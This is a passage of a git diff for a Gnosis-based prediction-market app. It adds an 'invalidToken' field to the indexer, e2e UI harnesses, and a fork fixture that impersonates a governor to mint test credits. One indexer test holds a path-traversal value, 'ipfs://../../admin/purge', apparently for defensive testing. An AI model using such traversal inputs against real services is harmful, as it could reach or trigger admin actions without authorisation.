diff --git a/.gitignore b/.gitignore index e0ae3d55..2832491e 100644 --- a/.gitignore +++ b/.gitignore @@ -31,5 +31,5 @@ coverage/ # agent config: shared rules and skills are committed; # local settings and personal notes are not -.claude/settings.local.json +.claude/settings.local.json* packages/mock-atlas/.store/ diff --git a/apps/indexer/package.json b/apps/indexer/package.json index 735bc6ac..642968f7 100644 --- a/apps/indexer/package.json +++ b/apps/indexer/package.json @@ -12,7 +12,7 @@ "codegen:gnosis": "envio codegen --config config.gnosis.yaml", "dev": "envio dev --config config.localhost.yaml", "dev:gnosis": "node --env-file=.env.gnosis \"$(yarn bin envio)\" dev --config config.gnosis.yaml", - "dev:gnosis-fork": "node --env-file=.env.gnosis-fork \"$(yarn bin envio)\" dev --config config.gnosis-fork.yaml", + "dev:gnosis-fork": "node --env-file=.env.gnosis-fork.example --env-file-if-exists=.env.gnosis-fork \"$(yarn bin envio)\" dev --config config.gnosis-fork.yaml", "start": "envio start", "start:local": "envio start --config config.localhost.yaml", "stop": "envio stop", diff --git a/apps/indexer/schema.graphql b/apps/indexer/schema.graphql index 0490436d..13932eb8 100644 --- a/apps/indexer/schema.graphql +++ b/apps/indexer/schema.graphql @@ -80,6 +80,10 @@ type ChildMarket { downToken: String! @index upToken: String! @index + + "burnt alongside DOWN and UP when a set is merged back; the router takes the whole partition" + invalidToken: String! + underlyingToken: String! @index keyword: String! diff --git a/apps/indexer/src/handlers/SessionFactory.ts b/apps/indexer/src/handlers/SessionFactory.ts index d151a63b..ac65efe6 100644 --- a/apps/indexer/src/handlers/SessionFactory.ts +++ b/apps/indexer/src/handlers/SessionFactory.ts @@ -144,6 +144,7 @@ indexer.onEvent({ contract: "SessionFactory", event: "ChildMarketDeployed" }, as upperBound: market.upperBound, downToken: market.down, upToken: market.up, + invalidToken: market.invalid, underlyingToken: market.underlying, displayName: display?.displayName, color: display?.color, diff --git a/apps/indexer/src/utils/contracts/fetchChildMarket.ts b/apps/indexer/src/utils/contracts/fetchChildMarket.ts index e1b94834..90b663a5 100644 --- a/apps/indexer/src/utils/contracts/fetchChildMarket.ts +++ b/apps/indexer/src/utils/contracts/fetchChildMarket.ts @@ -14,6 +14,7 @@ export const fetchChildMarket = createEffect( upperBound: S.bigint, down: S.string, up: S.string, + invalid: S.string, underlying: S.string, }), cache: true, @@ -24,13 +25,14 @@ export const fetchChildMarket = createEffect( const market = getSeerMarketContract(input.address); try { - // outcome 0 is DOWN and outcome 1 is UP - const [marketName, lowerBound, upperBound, down, up, underlying] = await Promise.all([ + // outcome 0 is DOWN and 1 is UP; Seer wraps INVALID one past the named outcomes + const [marketName, lowerBound, upperBound, down, up, invalid, underlying] = await Promise.all([ client.readContract({ ...market, functionName: "marketName" }), client.readContract({ ...market, functionName: "lowerBound" }), client.readContract({ ...market, functionName: "upperBound" }), client.readContract({ ...market, functionName: "wrappedOutcome", args: [0n] }), client.readContract({ ...market, functionName: "wrappedOutcome", args: [1n] }), + client.readContract({ ...market, functionName: "wrappedOutcome", args: [2n] }), client.readContract({ ...market, functionName: "parentWrappedOutcome" }), ]); @@ -40,6 +42,7 @@ export const fetchChildMarket = createEffect( upperBound, down: down[0].toLowerCase(), up: up[0].toLowerCase(), + invalid: invalid[0].toLowerCase(), underlying: underlying[0].toLowerCase(), }; } catch (error) { @@ -51,6 +54,7 @@ export const fetchChildMarket = createEffect( upperBound: 0n, down: UNAVAILABLE, up: UNAVAILABLE, + invalid: UNAVAILABLE, underlying: UNAVAILABLE, }; } diff --git a/apps/indexer/tests/handlers/SessionFactory.test.ts b/apps/indexer/tests/handlers/SessionFactory.test.ts index 1927bc2d..80ecf9a8 100644 --- a/apps/indexer/tests/handlers/SessionFactory.test.ts +++ b/apps/indexer/tests/handlers/SessionFactory.test.ts @@ -38,6 +38,8 @@ const PARENT_OUTCOME_0 = "0x00000000000000000000000000000000000000a1" as const; const PARENT_OUTCOME_1 = "0x00000000000000000000000000000000000000a2" as const; const CHILD_MARKET_0 = "0x0000000000000000000000000000000000000c00" as const; const CHILD_MARKET_1 = "0x0000000000000000000000000000000000000c01" as const; +const CHILD_0_INVALID = "0x0000000000000000000000000000000000000d10" as const; +const CHILD_1_INVALID = "0x0000000000000000000000000000000000000d11" as const; const DEPLOYER = "0x0000000000000000000000000000000000000de9" as const; const ESCAPING_METADATA_URI = "ipfs://../../admin/purge"; @@ -45,11 +47,11 @@ const ESCAPING_METADATA_URI = "ipfs://../../admin/purge"; /** `wrappedOutcome` and `parentWrappedOutcome` both answer (token, data). */ const wrapped = (token: string) => [token, "0x"]; -const childReads = (down: string, up: string, underlying: string) => ({ +const childReads = (down: string, up: string, underlying: string, invalid: string) => ({ marketName: CHILD_MARKET_NAME, lowerBound: LOWER_BOUND, upperBound: UPPER_BOUND, - wrappedOutcome: [wrapped(down), wrapped(up)], + wrappedOutcome: [wrapped(down), wrapped(up), wrapped(invalid)], parentWrappedOutcome: wrapped(underlying), }); @@ -63,8 +65,8 @@ const marketReads: Record> = { wrappedOutcome: [wrapped(PARENT_OUTCOME_0), wrapped(PARENT_OUTCOME_1), wrapped(PARENT_INVALID)], }, // a child on outcome i prices against the parent's wrapped outcome i - [CHILD_MARKET_0]: childReads(CHILD_0_DOWN, CHILD_0_UP, PARENT_OUTCOME_0), - [CHILD_MARKET_1]: childReads(CHILD_1_DOWN, CHILD_1_UP, PARENT_OUTCOME_1), + [CHILD_MARKET_0]: childReads(CHILD_0_DOWN, CHILD_0_UP, PARENT_OUTCOME_0, CHILD_0_INVALID), + [CHILD_MARKET_1]: childReads(CHILD_1_DOWN, CHILD_1_UP, PARENT_OUTCOME_1, CHILD_1_INVALID), [CHILD_0_DOWN]: { decimals: 18, symbol: "DUNE0-DOWN" }, [CHILD_0_UP]: { decimals: 18, symbol: "DUNE0-UP" }, [PARENT_OUTCOME_0]: { decimals: 18, symbol: "VILLENEUVE" }, @@ -224,6 +226,7 @@ describe("SessionFactory indexing", () => { const child = await indexer.ChildMarket.getOrThrow(CHILD_MARKET_0); t.expect(child.session_id).toBe("0"); + t.expect(child.invalidToken).toBe(CHILD_0_INVALID); t.expect(child.parentOutcomeIndex).toBe(0n); t.expect(child.parentOutcome).toBe("Villeneuve"); t.expect(child.marketName).toBe(CHILD_MARKET_NAME); diff --git a/apps/indexer/tests/support/harness.ts b/apps/indexer/tests/support/harness.ts index fb07691e..386fbd95 100644 --- a/apps/indexer/tests/support/harness.ts +++ b/apps/indexer/tests/support/harness.ts @@ -113,6 +113,7 @@ export const seedMarket = async (indexer: TestIndexer, market: SeededMarket) => upperBound: market.upperBound, downToken: market.down, upToken: market.up, + invalidToken: `${market.id}-invalid`, underlyingToken: market.underlying, displayName: undefined, color: undefined, diff --git a/apps/web/.env.gnosis-fork.example b/apps/web/.env.gnosis-fork.example index f6fbe3dc..d56a59c3 100644 --- a/apps/web/.env.gnosis-fork.example +++ b/apps/web/.env.gnosis-fork.example @@ -1,3 +1,4 @@ +NEXT_PUBLIC_REOWN_PROJECT_ID=fork-placeholder NEXT_PUBLIC_ENABLE_LOCAL_CHAIN=false NEXT_PUBLIC_GNOSIS_RPC=http://127.0.0.1:8545 NEXT_PUBLIC_SUBGRAPH_URL=http://localhost:8080/v1/graphql diff --git a/apps/web/README.md b/apps/web/README.md index d8ea1489..7b0abfb3 100644 --- a/apps/web/README.md +++ b/apps/web/README.md @@ -23,6 +23,10 @@ fails the build with the offending names rather than at runtime. | `NEXT_PUBLIC_SUBGRAPH_URL` | yes | Indexer GraphQL endpoint. Locally `http://localhost:8080/v1/graphql` | | `NEXT_PUBLIC_ENABLE_LOCAL_CHAIN` | no | Unset follows `NODE_ENV`; `"false"` offers gnosis only | +In production, point `NEXT_PUBLIC_GNOSIS_RPC` at an archive node. Finding a held send reads the +owner's transaction count at past blocks; a pruned node refuses those reads, and the app falls back +to reading blocks one by one from the send's block to the head, which is slow. + ```bash cp .env.gnosis.example .env.gnosis yarn dev:gnosis diff --git a/apps/web/e2e/fixtures/hardhat.ts b/apps/web/e2e/fixtures/hardhat.ts index cd860a12..81054b71 100644 --- a/apps/web/e2e/fixtures/hardhat.ts +++ b/apps/web/e2e/fixtures/hardhat.ts @@ -1,6 +1,18 @@ import { test as base } from "@playwright/test"; -import { createTestClient, http, publicActions, walletActions } from "viem"; -import { hardhat } from "viem/chains"; +import { + createTestClient, + encodeFunctionData, + http, + isAddressEqual, + parseAbi, + parseEther, + publicActions, + walletActions, + type Address, +} from "viem"; +import { gnosis, hardhat } from "viem/chains"; + +import { LOCAL_RPC_URL } from "@/config/chains"; const client = createTestClient({ chain: hardhat, @@ -18,3 +30,39 @@ export const test = base.extend<{ hardhat: HardhatClient }>({ await use(client); }, }); + +/** Gnosis' Foresight credits governor: an admin of the token and the manager's governor. */ +const CREDITS_GOVERNOR: Address = "0x4EDCA105188a0783Ab3A6f09c50567D1E3F8591D"; + +const CREDITS_ADMIN_ABI = parseAbi([ + "function governor() view returns (address)", + "function mint(address to, uint256 amount)", +]); + +// signs as chain 100, which the gnosis fork answers to; the `hardhat` client signs as 31337 +const fork = createTestClient({ chain: gnosis, mode: "hardhat", transport: http(LOCAL_RPC_URL) }) + .extend(publicActions) + .extend(walletActions); + +/** Mints `amount` Foresight credits to `to` on the gnosis fork, as the governor impersonated for the one call. */ +export async function grantCredits(token: Address, to: Address, amount: bigint) { + const governor = await fork.readContract({ address: token, abi: CREDITS_ADMIN_ABI, functionName: "governor" }); + if (!isAddressEqual(governor, CREDITS_GOVERNOR)) { + throw new Error(`The credits governor is ${governor}, not the ${CREDITS_GOVERNOR} the fixture acts as.`); + } + await fork.impersonateAccount({ address: CREDITS_GOVERNOR }); + try { + if ((await fork.getBalance({ address: CREDITS_GOVERNOR })) < parseEther("1")) { + await fork.setBalance({ address: CREDITS_GOVERNOR, value: parseEther("1") }); + } + const hash = await fork.sendTransaction({ + account: CREDITS_GOVERNOR, + to: token, + data: encodeFunctionData({ abi: CREDITS_ADMIN_ABI, functionName: "mint", args: [to, amount] }), + }); + const receipt = await fork.waitForTransactionReceipt({ hash }); + if (receipt.status !== "success") throw new Error(`Minting ${amount} credits to ${to} reverted.`); + } finally { + await fork.stopImpersonatingAccount({ address: CREDITS_GOVERNOR }); + } +} diff --git a/apps/web/e2e/harness/estimate-slider/index.html b/apps/web/e2e/harness/estimate-slider/index.html new file mode 100644 index 00000000..57ad1175 --- /dev/null +++ b/apps/web/e2e/harness/estimate-slider/index.html @@ -0,0 +1,12 @@ + + + + + + Estimate slider harness + + +
+ + + diff --git a/apps/web/e2e/harness/estimate-slider/main.tsx b/apps/web/e2e/harness/estimate-slider/main.tsx new file mode 100644 index 00000000..366b8368 --- /dev/null +++ b/apps/web/e2e/harness/estimate-slider/main.tsx @@ -0,0 +1,46 @@ +import { useState } from "react"; +import { createRoot } from "react-dom/client"; + +import { EstimateSlider } from "@/features/predict/components/EstimateSlider"; + +import "@/styles/global.css"; +import "../inter.css"; + +const params = new URLSearchParams(window.location.search); +const number = (name: string, fallback: number) => Number(params.get(name) ?? fallback); +/** `?track=` the slider's width in px, as an option card gives it at 375 (311) or 1280 (1112). */ +const track = number("track", 311); +const lowerBound = number("lower", 0); +const upperBound = number("upper", 100); +const marketEstimate = number("market", 75); +/** `?value=` a saved estimate; without it the slider rests at the market. */ +const initial = params.has("value") ? number("value", 0) : undefined; +if (params.get("theme") === "dark") document.documentElement.classList.add("dark"); +/** `?locked=1` a session that takes no estimates, as a closed one. */ +const lockedReason = params.get("locked") === "1" ? "Trading has closed." : undefined; + +function Harness() { + const [value, setValue] = useState(initial); + return ( +
+ setValue(undefined)} + lockedReason={lockedReason} + /> +
+ ); +} + +createRoot(document.getElementById("root")!).render(); diff --git a/apps/web/e2e/harness/inter.css b/apps/web/e2e/harness/inter.css new file mode 100644 index 00000000..3354e276 --- /dev/null +++ b/apps/web/e2e/harness/inter.css @@ -0,0 +1,25 @@ +/* The files src/app/layout.tsx loads through next/font, which Vite does not run. */ +@font-face { + font-family: "Inter"; + font-weight: 400; + font-display: swap; + src: url("../../../../node_modules/@fontsource/inter/files/inter-latin-400-normal.woff2") format("woff2"); +} +@font-face { + font-family: "Inter"; + font-weight: 500; + font-display: swap; + src: url("../../../../node_modules/@fontsource/inter/files/inter-latin-500-normal.woff2") format("woff2"); +} +@font-face { + font-family: "Inter"; + font-weight: 600; + font-display: swap; + src: url("../../../../node_modules/@fontsource/inter/files/inter-latin-600-normal.woff2") format("woff2"); +} +@font-face { + font-family: "Inter"; + font-weight: 700; + font-display: swap; + src: url("../../../../node_modules/@fontsource/inter/files/inter-latin-700-normal.woff2") format("woff2"); +} diff --git a/apps/web/e2e/harness/option-card/index.html b/apps/web/e2e/harness/option-card/index.html new file mode 100644 index 00000000..13ec47f1 --- /dev/null +++ b/apps/web/e2e/harness/option-card/index.html @@ -0,0 +1,12 @@ + + + + + + Option card harness + + +
+ + + diff --git a/apps/web/e2e/harness/option-card/main.tsx b/apps/web/e2e/harness/option-card/main.tsx new file mode 100644 index 00000000..b3e1d816 --- /dev/null +++ b/apps/web/e2e/harness/option-card/main.tsx @@ -0,0 +1,56 @@ +import { createRoot } from "react-dom/client"; + +import { useEstimateStore } from "@/features/predict/stores/estimateStore"; +import type { SessionStatus } from "@/features/sessions/types"; + +import { OptionCard } from "@/app/market/[parentMarket]/_components/OptionCard"; + +import "@/styles/global.css"; +import "../inter.css"; + +const params = new URLSearchParams(window.location.search); +const number = (name: string, fallback: number) => Number(params.get(name) ?? fallback); +const PARENT = "0x7777777777777777777777777777777777777777"; +const MARKET = "0x1111111111111111111111111111111111111111"; +const WAD = 10n ** 18n; +/** `?market=none` for an option with no trading. `?up=` and `?down=` a held position in whole tokens, decimals allowed; with neither there is none. */ +const tokens = (name: string) => { + const [whole = "0", fraction = ""] = (params.get(name) ?? "0").split("."); + return BigInt(whole) * WAD + BigInt(fraction.padEnd(18, "0").slice(0, 18) || "0"); +}; +const position = params.has("up") || params.has("down") ? { up: tokens("up"), down: tokens("down") } : undefined; +if (params.get("theme") === "dark") document.documentElement.classList.add("dark"); +useEstimateStore.setState({ estimates: params.has("value") ? { [PARENT]: { [MARKET]: number("value", 0) } } : {} }); + +function Harness() { + return ( +
+ +
+ ); +} + +createRoot(document.getElementById("root")!).render(); diff --git a/apps/web/e2e/harness/predict-card/index.html b/apps/web/e2e/harness/predict-card/index.html new file mode 100644 index 00000000..896c9367 --- /dev/null +++ b/apps/web/e2e/harness/predict-card/index.html @@ -0,0 +1,12 @@ + + + + + + Predict card harness + + +
+ + + diff --git a/apps/web/e2e/harness/predict-card/main.tsx b/apps/web/e2e/harness/predict-card/main.tsx new file mode 100644 index 00000000..b7bdff2f --- /dev/null +++ b/apps/web/e2e/harness/predict-card/main.tsx @@ -0,0 +1,204 @@ +import { createRoot } from "react-dom/client"; + +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { getAddress, type Address } from "viem"; +import { hardhat } from "viem/chains"; +import { createConfig, http, mock, WagmiProvider } from "wagmi"; +import { connect } from "wagmi/actions"; + +import type { PredictSnapshot } from "@/features/predict/flow/types"; +import { predictFlowId } from "@/features/predict/run/interrupted"; +import { useEstimateStore } from "@/features/predict/stores/estimateStore"; +import type { SessionDetail, SessionOption, SessionStatus } from "@/features/sessions/types"; + +import { Dialog } from "@/components/ui/Dialog"; +import { SectionCard } from "@/components/ui/SectionCard"; + +import { createRunStore } from "@/lib/flowRunStore"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; + +import { PredictCard } from "@/app/market/[parentMarket]/_components/PredictCard"; + +import "@/styles/global.css"; +import "../inter.css"; + +const params = new URLSearchParams(window.location.search); +/** `?set=normal` three picks, `worst` six with a 54-character name and a seven-digit value, `none` no picks. */ +const set = params.get("set") ?? "normal"; +/** `?wallet=0` no wallet connected. */ +const isConnected = params.get("wallet") !== "0"; +/** `?status=closed` or `setting-up`; trading otherwise. */ +const status = (params.get("status") ?? "trading") as SessionStatus; +/** `?run=stored` an unfinished run of 3 sDAI is stored for the wallet, `pending` one whose deposit awaits a receipt. */ +const run = params.get("run"); +/** `?rows=N` options in all, the unpicked ones after the picks, so the card sits below a phone's fold. */ +const rows = Number(params.get("rows") ?? "0"); +/** `?dialog=1` a dialog open over the page. */ +const isDialogOpen = params.get("dialog") === "1"; +if (params.get("theme") === "dark") document.documentElement.classList.add("dark"); + +const WALLET = "0xdcee0000000000000000000000000000000c664f"; +const PARENT = "0x7777777777777777777777777777777777777777"; + +const PICKS: Record = { + normal: [ + ["Berlin", 300, 400], + ["Lisbon", 420, 360], + ["Nairobi", 250, 320], + ], + worst: [ + ["Greater Lisbon and Setúbal Peninsula metropolitan area", 1_000_000, 1_234_567], + ["Berlin", 420, 360], + ["Nairobi", 250, 320], + ["Montevideo", 330, 280], + ["Hanoi", 200, 240], + ["Accra", 260, 200], + ], +}; +const picks = PICKS[set] ?? PICKS.normal!; +const MORE = ["Kraków", "Medellín", "Osaka", "Tbilisi", "Quito", "Perth", "Tunis", "Oslo", "Lima", "Pune", "Hobart"]; +const names = [...picks.map(([name]) => name), ...MORE].slice(0, Math.max(picks.length, rows)); + +const options: SessionOption[] = names.map((name, index) => ({ + market: getAddress(`0x${(index + 1).toString(16).padStart(2, "0").repeat(20)}`) as Address, + outcomeIndex: index, + name, + color: ["#009aff", "#7e1bd4", "#18a957", "#f59e0b", "#ef4444", "#14b8a6"][index % 6]!, + unit: null, + lowerBound: 0, + upperBound: 2_000_000, + question: `What will ${name} reach?`, + upToken: null, + downToken: null, + invalidToken: null, + underlyingToken: null, + blocks: [], +})); + +const session: SessionDetail = { + id: "7", + parentMarket: PARENT, + deployer: WALLET, + name: "City populations", + description: null, + iconUri: null, + heroUri: null, + closesAt: null, + question: "How many people will live in each city?", + itemName: "city", + itemNamePlural: "cities", + metadataResolved: true, + outcomeCount: options.length, + deployedChildCount: options.length, + setupComplete: true, + openedAt: new Date("2026-10-01T00:00:00Z"), + collateralToken: null, + collateralDecimals: 18, + collateralSymbol: "sDAI", + invalidToken: null, + blocks: [], + options, +}; + +const marketEstimates = Object.fromEntries( + options.map((option, index) => [option.market.toLowerCase(), picks[index]?.[1] ?? 500]), +); +const picked = Object.fromEntries( + options.slice(0, picks.length).map((option, index) => [option.market.toLowerCase(), picks[index]![2]]), +); +/** For specs: put the first pick in, pick every option, or take every pick out, as a slider would. */ +Object.assign(window, { + pickFirst: () => useEstimateStore.getState().setEstimate(PARENT, options[0]!.market, picks[0]![2]), + pickAll: () => + options.forEach((option, index) => + useEstimateStore.getState().setEstimate(PARENT, option.market, 900 + index * 37), + ), + clearPicks: () => useEstimateStore.getState().resetEstimates(PARENT), +}); +useEstimateStore.setState({ + estimates: + set === "none" + ? {} + : { + [PARENT]: picked, + }, +}); + +const flowId = predictFlowId(session.id, WALLET); +if (run === "stored" || run === "pending") { + const HASH = `0x${"ab".repeat(32)}` as const; + createRunStore().save({ + flowId, + adapterId: "predict-flow", + // the card reads the deposit, its token and the credits from the snapshot, and only the owner from ctx + snapshot: { deposit: 3n * 10n ** 18n, depositNative: false, creditsToSpend: 0n } as PredictSnapshot, + ctx: { owner: WALLET, chainId: DEFAULT_CHAIN_ID }, + steps: [ + { + stepId: "deposit", + label: "Add funds", + outcome: run === "pending" ? { status: "submitted", hash: HASH } : { status: "pending" }, + }, + { stepId: "predict", label: "Predict", outcome: { status: "pending" } }, + ], + status: "paused", + reason: "error", + error: { stepId: "deposit", message: "RPC unavailable", cause: "rpc", hash: HASH }, + }); +} else { + // the page's storage outlives a spec's earlier visits + createRunStore().clear(flowId); +} + +// no transport reaches a node: the card only reads the account +const config = createConfig({ + chains: [hardhat], + connectors: [mock({ accounts: [WALLET] })], + // nothing persisted, so mounting the provider cannot restore a disconnected state over the connect below + storage: null, + transports: { [hardhat.id]: http("http://127.0.0.1:1") }, +}); +const queryClient = new QueryClient(); + +/** MarketPage's frame around the card: the option cards above the card, the trade wallet under it. */ +function Harness() { + return ( + <> + {/* Header's own frame; its menus need Next's app router */} +
+
Foresight
+
+
+
+

{session.name}

+
+ {options.map((option) => ( +
+ {option.name} +
+ ))} + + Trade wallet +
+
+
+ {}} title="A dialog" hint="Open over the page."> +
+
+ + ); +} + +async function start() { + if (isConnected) await connect(config, { connector: config.connectors[0]! }); + createRoot(document.getElementById("root")!).render( + + + + + , + ); +} + +void start(); diff --git a/apps/web/e2e/harness/predict-popup/index.html b/apps/web/e2e/harness/predict-popup/index.html new file mode 100644 index 00000000..db464f06 --- /dev/null +++ b/apps/web/e2e/harness/predict-popup/index.html @@ -0,0 +1,12 @@ + + + + + + Predict popup harness + + +
+ + + diff --git a/apps/web/e2e/harness/predict-popup/main.tsx b/apps/web/e2e/harness/predict-popup/main.tsx new file mode 100644 index 00000000..9b173f40 --- /dev/null +++ b/apps/web/e2e/harness/predict-popup/main.tsx @@ -0,0 +1,446 @@ +import { useEffect, useState } from "react"; +import { createRoot } from "react-dom/client"; + +import { parseUnits, type Hash } from "viem"; +import { gnosis } from "viem/chains"; + +import { PredictButton } from "@/features/predict/components/PredictButton"; +import { PredictDialog } from "@/features/predict/components/PredictDialog"; +import type { ListedEstimate } from "@/features/predict/components/PredictList"; +import { DEFAULT_SLIPPAGE, SLIPPAGE_BPS } from "@/features/predict/oracle/tolerances"; +import type { PredictFailureReason, PredictProgress } from "@/features/predict/run/types"; +import { useSlippageStore } from "@/features/predict/stores/slippageStore"; +import { creditLines, creditsOffer } from "@/features/predict/utils/credits"; +import { planFunding } from "@/features/predict/utils/funding"; +import { previewTrades } from "@/features/predict/utils/plan"; +import { fundsToAdd, predictSteps } from "@/features/predict/utils/predictSteps"; +import { normalizeSlippageSettings, type SlippageSettings } from "@/features/predict/utils/slippage"; + +import { estimateToPriceWad, priceWadToEstimate } from "@/utils/optionPrice"; + +import { explorerTxUrl } from "@/config/site"; + +import { PredictSuccessView } from "@/app/market/[parentMarket]/_components/PredictSuccessView"; +import type { PoolLiquidity } from "@/types/pool"; + +import "@/styles/global.css"; +import "../inter.css"; + +const WAD = 10n ** 18n; +const WALLET = "0xdcee0000000000000000000000000000000c664f"; + +const CITIES = [ + "Berlin", + "Lisbon metropolitan area", + "Nairobi", + "Montevideo", + "Hanoi", + "Accra", + "Kraków", + "Medellín", + "Osaka", + "Tbilisi", +]; + +const params = new URLSearchParams(window.location.search); +/** `?trades=worst` a 62-character name, seven-digit amounts and a market already at its estimate. */ +const isWorst = params.get("trades") === "worst"; +if (isWorst) CITIES[0] = "Greater Lisbon and Setúbal Peninsula metropolitan area, Lisboa"; +/** `?options=N` estimates, alternating higher and lower, each with a market move. */ +const count = Number(params.get("options") ?? "2"); +/** `?state=` one of STATES: the popup as each point of a run leaves it. */ +const state = (params.get("state") ?? "idle") as State; +/** `?reason=` the failure a `failed` popup shows; "fee" is the funds failure after money moved. */ +const reason = params.get("reason") ?? "fee"; +/** `?first=0` a returning predictor: a funded trade wallet and nothing typed. */ +const isFirstPrediction = params.get("first") !== "0"; +/** `?held=` the sDAI in the visitor's own wallet, as a decimal. */ +const held = parseUnits(params.get("held") ?? (isWorst ? "2000000" : "19"), 18); +if (params.get("theme") === "dark") document.documentElement.classList.add("dark"); +/** `?dialog=success` the dialog a finished run opens; `&subscribed=0` for a visitor without resolution emails. */ +const dialog = params.get("dialog"); +/** `&verified=0` a subscribed visitor whose email is not confirmed yet. */ +const isEmailVerified = params.get("verified") !== "0"; +/** `&signin=busy` the success dialog's sign-in while the wallet signs. */ +const signingIn = params.get("signin") === "busy"; +/** `?prices=loading` the pools not read yet, so Details checks prices and Predict waits. */ +const pricesLoading = params.get("prices") === "loading"; +/** `?prices=failed` the pools could not be read, so the button offers to read them again. */ +const pricesFailed = params.get("prices") === "failed"; +/** `&moved=N` with `state=moved`: the option whose plan changed, the first by default; the second has a 24-character name. */ +const movedIndex = Number(params.get("moved") ?? "0"); +/** `&movedBy=slippage` with `state=moved`: the plans changed with the visitor's new slippage. */ +const movedBySlippage = params.get("movedBy") === "slippage"; +/** `?open=press` the popup starts closed and opens from a button, as the market page opens it. */ +const opensOnPress = params.get("open") === "press"; +/** `?leftOut=N` estimates the run left out, said on the status line; a `harness-left-out` event changes it after open. */ +const initialLeftOut = Number(params.get("leftOut") ?? "0"); + +/** `?slippage=trade:300,credits:50` custom settings in basis points, saved as the app saves them; without it, what was saved. */ +const slippageParam = params.get("slippage"); +const initialSlippage: SlippageSettings = normalizeSlippageSettings( + Object.fromEntries( + (params.get("slippage") ?? "") + .split(",") + .filter(Boolean) + .map((pair) => { + const [kind, bps] = pair.split(":"); + return [`${kind}Bps`, Number(bps)]; + }), + ), +); +if (slippageParam !== null) useSlippageStore.setState({ settings: initialSlippage }); +/** `?settings=open` opens the settings panel from its gear, as a click would. */ +const settingsOpen = params.get("settings") === "open"; +/** `?fee=` every pool's fee in millionths, as Algebra keeps it; none by default. */ +const poolFee = BigInt(params.get("fee") ?? "0"); +/** `?short=1` pools deep enough that the amount moves no option all the way to its estimate. */ +const isShort = params.get("short") === "1"; +/** `?swapLoss=` with `credits`, what the credits swap loses against the vault's rate, in xDAI. */ +const swapLoss = params.get("swapLoss"); +/** `?deposited=` with `state=recovered&pay=native`, the sDAI the stored run's deposit becomes; 3.6573 by default. */ +const depositedParam = params.get("deposited") ?? "3.6573"; + +/** `?credits=` the visitor's Foresight credits, as CREDITS names them; none by default. The tick starts on, as in the app. */ +const creditsState = params.get("credits") as keyof typeof CREDITS | null; +const CREDITS = { + enough: { wallet: 15n * WAD, tradeWallet: 0n, manager: 1000n * WAD }, + partial: { wallet: 3n * WAD, tradeWallet: 1n * WAD, manager: 1000n * WAD }, + short: { wallet: 50n * WAD, tradeWallet: 0n, manager: 20n * WAD }, + empty: { wallet: 120n * WAD, tradeWallet: 0n, manager: 0n }, + /** the holding the credits supply reached, with the manager empty */ + whale: { wallet: parseUnits("36680.1234", 18), tradeWallet: 0n, manager: 0n }, + /** a four-decimal manager balance, short of a larger holding and under the per-run cap */ + long: { wallet: 2000n * WAD, tradeWallet: 0n, manager: parseUnits("81.7347", 18) }, + /** four-decimal credits, all in the visitor's wallet, so the funds step moves them */ + odd: { wallet: parseUnits("16.2588", 18), tradeWallet: 0n, manager: 1000n * WAD }, +}; +const heldCredits = creditsState ? (CREDITS[creditsState] ?? null) : null; +const offer = creditsOffer(heldCredits); + +const selected: ListedEstimate[] = CITIES.slice(0, count).map((name, index) => ({ + scale: { + market: `0x${String(index + 1).repeat(40)}`, + name, + color: "#009aff", + unit: "$M", + lowerBound: 0, + upperBound: 500, + }, + value: isWorst && index === 1 ? 250 : 400 - index * 40, + marketEstimate: 250, + direction: index % 2 === 0 ? "higher" : "lower", +})); + +const sDai = { id: "collateral" as const, symbol: "sDAI", decimals: 18 }; +/** `?tokens=2` offers xDAI beside sDAI, so the token select can open. */ +const xDai = { id: "native" as const, symbol: "xDAI", decimals: 18 }; +const tokens = params.get("tokens") === "2" ? [sDai, xDai] : [sDai]; +/** `?pay=native` pays in xDAI at 1.0937 xDAI an sDAI. */ +const paysNative = params.get("pay") === "native"; +const payToken = paysNative ? xDai : sDai; +const collateral = { symbol: "sDAI", decimals: 18 }; + +const run = ( + stage: PredictProgress["stage"], + states: string[], + extra: Partial = {}, +): PredictProgress => ({ + stage, + steps: ["create-wallet", "deposit", "predict-1", "predict-2"].map((id, index) => ({ + id, + label: "", + state: (states[index] ?? "pending") as PredictProgress["steps"][number]["state"], + })), + leftOut: [], + batchesDone: 0, + batches: 2, + ...extra, +}); + +type State = + | "idle" + | "quoting" + | "signing" + | "confirming" + | "failed" + | "pending" + | "success" + | "recovered" + | "over" + | "disconnected" + | "moved"; + +const PROGRESS: Partial> = { + quoting: run("quoting", []), + // `&step=1` signs the first step, creating the trade wallet + signing: run("signing", params.get("step") === "1" ? ["running"] : ["success", "running"]), + confirming: run("confirming", ["success", "success", "success", "running"], { batchesDone: 1 }), + failed: run("halted", ["success", "success", "success", "error"], { + batchesDone: 1, + failure: { reason: (reason === "fee" ? "funds" : reason) as PredictFailureReason, retryable: true }, + moneyMoved: reason === "fee" ? true : undefined, + }), + pending: run("halted", ["success", "running"], { + failure: { reason: "rpc", retryable: true }, + pendingHash: `0x${"ab".repeat(32)}`, + }), + success: run("complete", ["success", "success", "success", "success"], { batchesDone: 2 }), + recovered: run("review", ["success", "success"]), + // the pools moved after Predict; nothing is signed and the steps wait + moved: run("moved", []), +}; + +const amount = + state === "over" + ? held + 980n * WAD + : isFirstPrediction + ? isWorst + ? parseUnits("1234567.89", 18) + : 10n * WAD + : undefined; +const fundingFor = (isUsing: boolean) => + state === "disconnected" + ? null + : planFunding({ + amount: amount ?? 0n, + ownWallet: held, + tradeWallet: 6n * WAD, + ...(paysNative ? { tokenPerCollateralWad: parseUnits("1.0937", 18) } : {}), + credits: isUsing ? creditLines(heldCredits, offer) : [], + }); +const funding = fundingFor(false); + +/** Each option's pools at the market's 250 of 500, deep enough that ten tokens move it visibly. */ +const pool = (scale: ListedEstimate["scale"], side: "up" | "down"): PoolLiquidity => { + const upPrice = Number(estimateToPriceWad(250, scale)) / 1e18; + const price = side === "up" ? upPrice : 1 - upPrice; + return { + sqrtPriceX96: BigInt(Math.round(Math.sqrt(price) * 2 ** 48)) * 2n ** 48n, + tick: 0, + liquidity: (isWorst ? 4_000_000n : isShort ? 4_000n : 20n) * WAD, + fee: poolFee, + ticks: [], + outcomeIsToken0: true, + }; +}; +/** Underlying already in the trade wallet for every option, so a returning predictor still trades. */ +const HELD_UNDERLYING = 2n * WAD; + +const preview = Object.fromEntries( + selected.map((estimate, index) => { + const trades = previewTrades( + { + pools: { up: pool(estimate.scale, "up"), down: pool(estimate.scale, "down") }, + targetPriceWad: estimateToPriceWad(estimate.value, 